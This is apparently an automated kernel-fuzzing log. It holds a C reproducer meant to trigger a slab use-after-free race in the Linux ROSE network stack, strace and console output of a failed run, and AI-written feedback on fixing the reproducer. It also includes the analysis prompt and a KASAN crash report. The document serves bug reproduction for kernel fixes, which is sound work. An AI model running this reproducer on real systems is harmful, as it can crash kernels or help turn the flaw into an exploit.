    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);
    printf("[+] Set sysctls\n");

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) {
            printf("[-] Failed to create rsock %d: %s\n", i, strerror(errno));
            exit(1);
        }

        if (bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) {
            printf("[-] Failed to bind rsock %d: %s\n", i, strerror(errno));
            exit(1);
        }

        if (ioctl(rsock, SIOCADDRT, &route) < 0) {
            printf("[-] Failed to add route %d: %s\n", i, strerror(errno));
            close(rsock);
            continue;
        }

        fcntl(rsock, F_SETFL, O_NONBLOCK);
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        
        if (ioctl(rsock, SIOCDELRT, &route) < 0) {
            printf("[-] Failed to delete route %d: %s\n", i, strerror(errno));
        }
        
        close(rsock);
    }
    printf("[+] Triggered race condition loop\n");

    sleep(1);
    printf("[+] Done waiting\n");

    return 0;
}
]

map[CompilerError: FormattedReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>
#include <termios.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    } else {
        printf("[-] Failed to open %s: %s\n", path, strerror(errno));
    }
}

int main() {
    printf("[*] Starting reproducer...\n");

    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx\n");

    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to TIOCSETD to N_AX25: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created AF_ROSE socket\n");

    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to get flags for ax0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to bring ax0 up: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought ax0 up\n");

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    if (ioctl(sock, SIOCSIFHWADDR, &ifr) < 0) {
        printf("[-] Failed to set hwaddr for rose0: %s\n", strerror(errno));
    } else {
        printf("[+] Set hwaddr for rose0\n");
    }

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to get flags for rose0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to bring rose0 up: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought rose0 up\n");

    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);
    printf("[+] Set sysctls\n");

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) {
            printf("[-] Failed to create rsock %d: %s\n", i, strerror(errno));
            exit(1);
        }

        if (bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) {
            printf("[-] Failed to bind rsock %d: %s\n", i, strerror(errno));
            exit(1);
        }

        if (ioctl(rsock, SIOCADDRT, &route) < 0) {
            printf("[-] Failed to add route %d: %s\n", i, strerror(errno));
            close(rsock);
            continue;
        }

        fcntl(rsock, F_SETFL, O_NONBLOCK);
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        
        if (ioctl(rsock, SIOCDELRT, &route) < 0) {
            printf("[-] Failed to delete route %d: %s\n", i, strerror(errno));
        }
        
        close(rsock);
    }
    printf("[+] Triggered race condition loop\n");

    sleep(1);
    printf("[+] Done waiting\n");

    return 0;
}
]

map[CompilerError:]

map[CandidateBugTitle: CandidateCrashReport: CandidateReproduced:false ConsoleOutput:Warning: Permanently added '[localhost]:21056' (ED25519) to the list of known hosts.
[  122.029124][ T6095] mkiss: ax0: crc mode is auto.
[  122.034090][   T33] kauditd_printk_skb: 18 callbacks suppressed
[  122.034105][   T33] audit: type=1400 audit(1779796372.191:106): avc:  denied  { create } for  pid=6095 comm="syz-executor325" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[*] Starting reproducer...
[+] Opened /dev/ptmx
[+] Set line discipline to N_AX25
[+] Created AF_ROSE socket
[+] Brought ax0 up
[-] Failed to set hwaddr for rose0: Invalid argument
[+] Brought rose0 up
[+] Set sysctls
[-] Failed to bind rsock 0: Cannot assign requested address
[  122.063166][   T33] audit: type=1400 audit(1779796372.201:107): avc:  denied  { ioctl } for  pid=6095 comm="syz-executor325" path="socket:[8338]" dev="sockfs" ino=8338 ioctlcmd=0x8913 scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  122.078371][   T33] audit: type=1400 audit(1779796372.211:108): avc:  denied  { bind } for  pid=6095 comm="syz-executor325" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  122.091598][   T33] audit: type=1400 audit(1779796372.221:109): avc:  denied  { read } for  pid=5546 comm="dhcpcd" name="n108" dev="tmpfs" ino=2098 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  122.106576][   T33] audit: type=1400 audit(1779796372.221:110): avc:  denied  { open } for  pid=5546 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2098 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  122.120784][   T33] audit: type=1400 audit(1779796372.221:111): avc:  denied  { getattr } for  pid=5546 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2098 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  139.299886][ T1365] ieee802154 phy0 wpan0: encryption failed: -22
[  139.302693][ T1365] ieee802154 phy1 wpan1: encryption failed: -22
 OtherCrashReports:<nil> StraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor2989724055

<...>
Warning: Permanently added '[localhost]:5190' (ED25519) to the list of known hosts.
execve("/syz-executor2989724055", ["/syz-executor2989724055"], 0x7ffd7ce70960 /* 11 vars */) = 0
brk(NULL)                               = 0x555590842000
brk(0x555590842d80)                     = 0x555590842d80
arch_prctl(ARCH_SET_FS, 0x555590842400) = 0
set_tid_address(0x5555908426d0)         = 6092
set_robust_list(0x5555908426e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor2989724055", 4096) = 23
getrandom("\x32\x13\x2d\xcc\xb7\x8f\x27\xa9", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x555590842d80
brk(0x555590863d80)                     = 0x555590863d80
brk(0x555590864000)                     = 0x555590864000
mprotect(0x7f3715d3e000, 20480, PROT_READ) = 0
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
openat(AT_FDCWD, "/dev/ptmx", O_RDWR)   = 3
[  119.907996][ T6092] mkiss: ax0: crc mode is auto.
ioctl(3, TIOCSETD, [5])                 = 0
[  119.922950][   T33] kauditd_printk_skb: 18 callbacks suppressed
[  119.922965][   T33] audit: type=1400 audit(1779796530.711:106): avc:  denied  { create } for  pid=6092 comm="syz-executor298" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
socket(AF_ROSE, SOCK_SEQPACKET, 0)      = 4
[  119.940297][   T33] audit: type=1400 audit(1779796530.721:107): avc:  denied  { read } for  pid=5542 comm="dhcpcd" name="n108" dev="tmpfs" ino=2096 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
ioctl(4, SIOCGIFFLAGS, {ifr_name="ax0", ifr_flags=IFF_BROADCAST|IFF_MULTICAST}) = 0
[  119.952428][   T33] audit: type=1400 audit(1779796530.721:108): avc:  denied  { open } for  pid=5542 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2096 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  119.965908][   T33] audit: type=1400 audit(1779796530.721:109): avc:  denied  { getattr } for  pid=5542 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2096 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
ioctl(4, SIOCSIFFLAGS, {ifr_name="ax0", ifr_flags=IFF_UP|IFF_BROADCAST|IFF_MULTICAST}) = 0
[  119.978307][   T33] audit: type=1400 audit(1779796530.741:110): avc:  denied  { ioctl } for  pid=6092 comm="syz-executor298" path="socket:[8345]" dev="sockfs" ino=8345 ioctlcmd=0x8913 scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
ioctl(4, SIOCSIFHWADDR, {ifr_name="rose0", ifr_hwaddr={sa_family=0xb /* ARPHRD_??? */, sa_data=01:00:00:00:00:00:00:00:00:00:00:00:00:00}}) = -1 EINVAL (Invalid argument)
ioctl(4, SIOCGIFFLAGS, {ifr_name="rose0", ifr_flags=IFF_NOARP}) = 0
ioctl(4, SIOCSIFFLAGS, {ifr_name="rose0", ifr_flags=IFF_UP|IFF_NOARP}) = 0
openat(AT_FDCWD, "/proc/sys/net/rose/clear_request_timeout", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 5
fstat(5, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
write(5, "100\n", 4)                    = 4
close(5)                                = 0
openat(AT_FDCWD, "/proc/sys/net/rose/restart_request_timeout", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 5
fstat(5, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
write(5, "100\n", 4)                    = 4
close(5)                                = 0
socket(AF_ROSE, SOCK_SEQPACKET, 0)      = 5
bind(5, {sa_family=AF_ROSE, sa_data="\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"}, 28) = -1 EADDRNOTAVAIL (Cannot assign requested address)
[  120.015524][   T33] audit: type=1400 audit(1779796530.801:111): avc:  denied  { bind } for  pid=6092 comm="syz-executor298" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
write(1, "[*] Starting reproducer...\n[+] Opened /dev/ptmx\n[+] Set line discipline to N_AX25\n[+] Created AF_ROS"..., 278) = 278
[*] Starting reproducer...
[+] Opened /dev/ptmx
[+] Set line discipline to N_AX25
[+] Created AF_ROSE socket
[+] Brought ax0 up
[-] Failed to set hwaddr for rose0: Invalid argument
[+] Brought rose0 up
[+] Set sysctls
[-] Failed to bind rsock 0: Cannot assign requested address
exit_group(1)                           = ?
+++ exited with 1 +++
[  139.244571][ T1362] ieee802154 phy0 wpan0: encryption failed: -22
[  139.247364][ T1362] ieee802154 phy1 wpan1: encryption failed: -22
 TestError:]

map[TruncatedConsoleOutput:Warning: Permanently added '[localhost]:21056' (ED25519) to the list of known hosts.
[  122.029124][ T6095] mkiss: ax0: crc mode is auto.
[  122.034090][   T33] kauditd_printk_skb: 18 callbacks suppressed
[  122.034105][   T33] audit: type=1400 audit(1779796372.191:106): avc:  denied  { create } for  pid=6095 comm="syz-executor325" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[*] Starting reproducer...
[+] Opened /dev/ptmx
[+] Set line discipline to N_AX25
[+] Created AF_ROSE socket
[+] Brought ax0 up
[-] Failed to set hwaddr for rose0: Invalid argument
[+] Brought rose0 up
[+] Set sysctls
[-] Failed to bind rsock 0: Cannot assign requested address
[  122.063166][   T33] audit: type=1400 audit(1779796372.201:107): avc:  denied  { ioctl } for  pid=6095 comm="syz-executor325" path="socket:[8338]" dev="sockfs" ino=8338 ioctlcmd=0x8913 scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  122.078371][   T33] audit: type=1400 audit(1779796372.211:108): avc:  denied  { bind } for  pid=6095 comm="syz-executor325" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  122.091598][   T33] audit: type=1400 audit(1779796372.221:109): avc:  denied  { read } for  pid=5546 comm="dhcpcd" name="n108" dev="tmpfs" ino=2098 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  122.106576][   T33] audit: type=1400 audit(1779796372.221:110): avc:  denied  { open } for  pid=5546 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2098 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  122.120784][   T33] audit: type=1400 audit(1779796372.221:111): avc:  denied  { getattr } for  pid=5546 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2098 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  139.299886][ T1365] ieee802154 phy0 wpan0: encryption failed: -22
[  139.302693][ T1365] ieee802154 phy1 wpan1: encryption failed: -22
 TruncatedCrashReport: TruncatedStraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor2989724055

<...>
Warning: Permanently added '[localhost]:5190' (ED25519) to the list of known hosts.
execve("/syz-executor2989724055", ["/syz-executor2989724055"], 0x7ffd7ce70960 /* 11 vars */) = 0
brk(NULL)                               = 0x555590842000
brk(0x555590842d80)                     = 0x555590842d80
arch_prctl(ARCH_SET_FS, 0x555590842400) = 0
set_tid_address(0x5555908426d0)         = 6092
set_robust_list(0x5555908426e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor2989724055", 4096) = 23
getrandom("\x32\x13\x2d\xcc\xb7\x8f\x27\xa9", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x555590842d80
brk(0x555590863d80)                     = 0x555590863d80
brk(0x555590864000)                     = 0x555590864000
mprotect(0x7f3715d3e000, 20480, PROT_READ) = 0
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
openat(AT_FDCWD, "/dev/ptmx", O_RDWR)   = 3
[  119.907996][ T6092] mkiss: ax0: crc mode is auto.
ioctl(3, TIOCSETD, [5])                 = 0
[  119.922950][   T33] kauditd_printk_skb: 18 callbacks suppressed
[  119.922965][   T33] audit: type=1400 audit(1779796530.711:106): avc:  denied  { create } for  pid=6092 comm="syz-executor298" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
socket(AF_ROSE, SOCK_SEQPACKET, 0)      = 4
[  119.940297][   T33] audit: type=1400 audit(1779796530.721:107): avc:  denied  { read } for  pid=5542 comm="dhcpcd" name="n108" dev="tmpfs" ino=2096 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
ioctl(4, SIOCGIFFLAGS, {ifr_name="ax0", ifr_flags=IFF_BROADCAST|IFF_MULTICAST}) = 0
[  119.952428][   T33] audit: type=1400 audit(1779796530.721:108): avc:  denied  { open } for  pid=5542 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2096 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  119.965908][   T33] audit: type=1400 audit(1779796530.721:109): avc:  denied  { getattr } for  pid=5542 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2096 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
ioctl(4, SIOCSIFFLAGS, {ifr_name="ax0", ifr_flags=IFF_UP|IFF_BROADCAST|IFF_MULTICAST}) = 0
[  119.978307][   T33] audit: type=1400 audit(1779796530.741:110): avc:  denied  { ioctl } for  pid=6092 comm="syz-executor298" path="socket:[8345]" dev="sockfs" ino=8345 ioctlcmd=0x8913 scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
ioctl(4, SIOCSIFHWADDR, {ifr_name="rose0", ifr_hwaddr={sa_family=0xb /* ARPHRD_??? */, sa_data=01:00:00:00:00:00:00:00:00:00:00:00:00:00}}) = -1 EINVAL (Invalid argument)
ioctl(4, SIOCGIFFLAGS, {ifr_name="rose0", ifr_flags=IFF_NOARP}) = 0
ioctl(4, SIOCSIFFLAGS, {ifr_name="rose0", ifr_flags=IFF_UP|IFF_NOARP}) = 0
openat(AT_FDCWD, "/proc/sys/net/rose/clear_request_timeout", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 5
fstat(5, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
write(5, "100\n", 4)                    = 4
close(5)                                = 0
openat(AT_FDCWD, "/proc/sys/net/rose/restart_request_timeout", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 5
fstat(5, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
write(5, "100\n", 4)                    = 4
close(5)                                = 0
socket(AF_ROSE, SOCK_SEQPACKET, 0)      = 5
bind(5, {sa_family=AF_ROSE, sa_data="\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"}, 28) = -1 EADDRNOTAVAIL (Cannot assign requested address)
[  120.015524][   T33] audit: type=1400 audit(1779796530.801:111): avc:  denied  { bind } for  pid=6092 comm="syz-executor298" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
write(1, "[*] Starting reproducer...\n[+] Opened /dev/ptmx\n[+] Set line discipline to N_AX25\n[+] Created AF_ROS"..., 278) = 278
[*] Starting reproducer...
[+] Opened /dev/ptmx
[+] Set line discipline to N_AX25
[+] Created AF_ROSE socket
[+] Brought ax0 up
[-] Failed to set hwaddr for rose0: Invalid argument
[+] Brought rose0 up
[+] Set sysctls
[-] Failed to bind rsock 0: Cannot assign requested address
exit_group(1)                           = ?
+++ exited with 1 +++
[  139.244571][ T1362] ieee802154 phy0 wpan0: encryption failed: -22
[  139.247364][ T1362] ieee802154 phy1 wpan1: encryption failed: -22
]

gemini-3.1-pro-preview

map[Feedback:The reproduction attempt failed to trigger the bug because the environment setup exited early due to a system call failure.

1. The `ioctl(SIOCSIFHWADDR)` for `rose0` failed with `-EINVAL`:
```
ioctl(4, SIOCSIFHWADDR, {ifr_name="rose0", ifr_hwaddr={sa_family=0xb /* ARPHRD_??? */, sa_data=01:00:00:00:00:00:00:00:00:00:00:00:00:00}}) = -1 EINVAL (Invalid argument)
```
This happens because `netif_set_mac_address()` in `net/core/dev.c` validates that `ss->ss_family == dev->type`. For a ROSE device, `dev->type` is `ARPHRD_ROSE` (270), but your code passed `AF_ROSE` (11). You must set `ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;` (or 270) instead of `AF_ROSE`.

2. Because setting the hardware address failed, the `rose0` interface retained its default address (likely all zeros). 
3. Subsequently, the `bind()` call failed with `-EADDRNOTAVAIL`:
```
bind(5, {sa_family=AF_ROSE, sa_data="\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"}, 28) = -1 EADDRNOTAVAIL
```
This fails in `rose_bind()` -> `rose_dev_get()` because it cannot find an `IFF_UP` ROSE device with the requested address `01:00:00:00:00`.

To fix this, change `ifr.ifr_hwaddr.sa_family` to `ARPHRD_ROSE` (270) when setting the MAC address of the `rose0` interface. This will allow `SIOCSIFHWADDR` to succeed, which in turn will allow `bind()` to find the device and succeed. TitleMatches:false]

You are a security researcher with deep Linux kernel background.
Analyze the results of running the reproducer and determine if it was successful.
When Reproduced is false, analyze TruncatedConsoleOutput for execution patterns
(hangs, immediate exits, syscall failures)
to provide detailed feedback on why it failed and how to fix it.

Critical Diagnostic Rule:
If the reproduction attempt fails (e.g., a system call returns an error, or a
warning/error message appears in the console log), you MUST:
1. Identify the failing system call from the execution trace or strace output.
2. Identify any corresponding warning or error messages in the console log.
3. Immediately search the kernel source tree for the warning message strings or
the code of the failing system call/subsystem to locate the validation logic.
4. Trace the kernel's validation logic to diagnose the exact constraint violation
or input mismatch in the generated program.
5. Provide a technical diagnosis in the feedback explaining the exact kernel constraint that was violated and why.

The Strace Output will contain the syscall trace if the run was successful and strace was supported.
Use this trace to identify which syscall failed or behaved unexpectedly.

The input variable 'IsProbe' indicates whether the executed program was a simple environment
probe (true) or a full reproducer candidate (false).
Use this to guide your classification and feedback:

1. If 'IsProbe' is true:
   - If the execution was successful (all environment/subsystem probes passed), provide feedback
     explicitly indicating that the environment is ready and the agent should now proceed to
     generate the full reproducer in the next iteration.
   - If the probe failed (e.g., missing permissions, missing devices, or sandbox restrictions),
     explain what failed so the generator can adjust its environment setups.

2. If 'IsProbe' is false:
   - If a crash was triggered (Reproduced is true):
     - Determine if the triggered crash matches the expected bug.
     - If you conclude they represent the same underlying bug (the same root cause)
       despite different titles, crash signatures, or call traces, set TitleMatches
       to true and provide a detailed, technical, and verbose explanation of the
       equivalence in the 'Feedback' field.
     - If they do not represent the same bug (a completely unrelated crash/collision),
        set TitleMatches to false and explain the collision in 'Feedback'.
     - If they match exactly, set TitleMatches to true and provide a brief confirmation in 'Feedback'.
   - If the execution was successful (exit 0) WITHOUT a crash (Reproduced is false):
     - The reproduction attempt failed to trigger the bug. Analyze the console/strace output
       to understand why the bug did not trigger (e.g., timing, input arguments, environment setup)
       and provide feedback on how to improve the reproducer logic to trigger the crash.

If reproduction failed due to environmental issues (e.g., missing permissions, missing devices,
or sandbox restrictions), assume execution might succeed with a different approach or more
robust code (e.g., adding namespace setup or better error handling), and suggest modifications
to the C code.
Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Bug Description: KASAN: slab-use-after-free Write in rose_send_frame

==================================================================
BUG: KASAN: slab-use-after-free in rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
Write of size 8 at addr ffff888056f1ec18 by task kworker/u8:7/1009

CPU: 1 UID: 0 PID: 1009 Comm: kworker/u8:7 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/12/2026
Workqueue: events_unbound nsim_dev_trap_report_work
Call Trace:
 <IRQ>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0x156/0x4c9 mm/kasan/report.c:482
 kasan_report+0xdf/0x1e0 mm/kasan/report.c:595
 rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
 rose_transmit_restart_request+0x1b8/0x250 net/rose/rose_link.c:198
 rose_t0timer_expiry+0x1d/0x150 net/rose/rose_link.c:83
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:arch_atomic_read arch/x86/include/asm/atomic.h:23 [inline]
RIP: 0010:raw_atomic_read include/linux/atomic/atomic-arch-fallback.h:457 [inline]
RIP: 0010:rcu_is_watching_curr_cpu include/linux/context_tracking.h:128 [inline]
RIP: 0010:rcu_is_watching+0x60/0xc0 kernel/rcu/tree.c:752
Code: 48 89 fa 48 c1 ea 03 80 3c 02 00 75 5c 48 03 1c ed e0 b8 12 8e 48 b8 00 00 00 00 00 fc ff df 48 89 da 48 c1 ea 03 0f b6 14 02 <48> 89 d8 83 e0 07 83 c0 03 38 d0 7c 04 84 d2 75 24 8b 03 c1 e8 02
RSP: 0018:ffffc9000433f658 EFLAGS: 00000a02
RAX: dffffc0000000000 RBX: ffff8880b8533ce8 RCX: 0000000000000002
RDX: 0000000000000000 RSI: ffffffff8c1b19a0 RDI: ffffffff8e12b8e8
RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000200 R11: 0000000000017585 R12: 0000000000000002
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
 trace_lock_acquire include/trace/events/lock.h:24 [inline]
 lock_acquire+0x317/0x380 kernel/locking/lockdep.c:5831
 rcu_lock_acquire include/linux/rcupdate.h:312 [inline]
 rcu_read_lock include/linux/rcupdate.h:850 [inline]
 class_rcu_constructor include/linux/rcupdate.h:1193 [inline]
 unwind_next_frame+0xd1/0x1ea0 arch/x86/kernel/unwind_orc.c:495
 arch_stack_walk+0x94/0xf0 arch/x86/kernel/stacktrace.c:25
 stack_trace_save+0x8e/0xc0 kernel/stacktrace.c:122
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
